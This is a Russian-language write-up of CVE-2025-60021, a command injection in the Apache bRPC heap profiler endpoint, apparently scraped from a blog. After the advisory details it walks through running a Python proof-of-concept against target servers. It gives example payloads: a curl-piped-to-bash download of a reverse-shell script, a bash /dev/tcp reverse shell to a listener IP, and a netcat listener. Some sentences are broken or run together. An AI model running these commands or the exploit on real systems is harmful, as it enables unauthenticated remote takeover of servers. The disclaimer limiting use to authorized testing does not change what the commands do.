
CVE-2025-60021

CVE-2025-60021 — это критическая уязвимость удаленного внедрения команд, обнаруженная во встроенном профилировщике кучи (/pprof/heap) Apache bRPC версий ранее 1.15.0, позволяющая неаутентифицированным злоумышленникам выполнять произвольные команды ОС. ([NVD][1])
| Атрибут | Информация |
|---|---|
| Название / ID | CVE-2025-60021 |
| Продукт | Apache bRPC (все платформы) |
| Затронутые версии | < 1.15.0 |
| Дата публикации | 16 января 2026 ([NVD][1]) |
| Тип уязвимости | Удаленное внедрение команд (CWE-77) ([NVD][1]) |
| Эндпоинт | /pprof/heap |
| Триггер | Несанитизированный параметр extra_options |
| Коренная причина | Ввод не проверяется перед выполнением в качестве команды ОС ([openwall.com][2]) |
❗Злоумышленники могут удаленно внедрять команды, просто манипулируя этим параметром профилирования.
🔥 Уровень серьезности: Критический
📊 Базовая оценка CVSS v3.1: 9.8 / 10
Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H ([INCIBE][3])
| Категория воздействия | Эффект | |
|---|---|---|
| Конфиденциальность | Высокий | |
| Целостность | Высокий | |
| Доступность | Высокий | |
| Вектор атаки | Сеть | |
| Привилегии | Не требуются | |
| Взаимодействие с пользователем | Не требуется | ([INCIBE][3]) |
👉 Это означает, что злоумышленники могут выполнять произвольные команды удаленно без входа в систему — наихудший сценарий для открытых сервисов.
/pprof/heap), предназначенный для анализа памяти (jemalloc). ([openwall.com][2])extra_options. Вместо санитизации, bRPC передает его напрямую в командную оболочку ОС. ([openwall.com][2])Предполагается, что скрипт сохранён как CVE-2025-60021.py (хотя реальный CVE — 2025-60021 — можете переименовать). Это Python 3 скрипт для демонстрации уязвимости удаленного внедрения команд в профилировщике кучи Apache bRPC. Запускайте только на системах, которыми владеете, или при наличии явного письменного разрешения на тестирование — эксплуатация без авторизации незаконна.
Среда Python: Убедитесь, что установлен Python 3 (например, 3.6+). Скрипт использует встроенные модули плюс requests и argparse (стандартные или легко устанавливаемые).
Установка зависимостей: Если ещё не установлено, установите библиотеку requests:
pip install requests
Целевая настройка: Вам необходим уязвимый сервер Apache bRPC:
http://localhost:8060 или удалённый IP/порт).
При локальном тестировании настройте уязвимый экземпляр bRPC (например, через Docker или сборку из исходников — обратитесь к документации Apache bRPC).Права доступа: Запускайте с sudo только при необходимости сетевого доступа или привилегий; в остальных случаях подойдёт обычный python3.
Скопируйте предоставленный код PoC в файл с именем CVE-2025-60021.py. При желании сделайте его исполняемым:
chmod +x CVE-2025-60021.py
Скрипт принимает два обязательных позиционных аргумента:
target: URL уязвимого сервера bRPC (например, http://192.168.1.100:8060 или http://targets:8060 — исправьте опечатки, например, отсутствие схемы или неверный хост).cmd: Команда для выполнения на цели (например, "id" для информации о пользователе, или более сложная, например, "curl http://your-server/reverse-shell.sh | bash" для обратной оболочки). Используйте && или ; для объединения нескольких команд.Откройте терминал (например, в Kali Linux, как вы используете) и выполните его с вашей целью и командой. Примеры команд:
Базовый тест (получить информацию о системе):
sudo python3 CVE-2025-60021.py http://targets:8060 "id && whoami && uname -a"
Пример обратной оболочки (замените your-listener-ip и порт; предварительно запустите слушатель, например nc -lvnp 4444):
sudo python3 CVE-2025-60021.py http://targets:8060 "bash -i >& /dev/tcp/your-listener-ip/4444 0>&1"
Если используется HTTPS или другой порт, измените URL соответственно (например, https://target:443 — скрипт обработает, но добавьте --insecure при проблемах с сертификатами).
Индикаторы успеха:
uid=0(root)..., если выполнялась id).Индикаторы неудачи (как вы видели):
--enable_heap_profiler=true) и перезапустите сервер.cmd — всегда указывайте его.echo "test" > /tmp/proof.txt) и проверьте файл на цели.; не работает, попробуйте && или | для объединения. URL-кодирование спецсимволов, если необходимо (скрипт обрабатывает большую часть)./pprof/heap.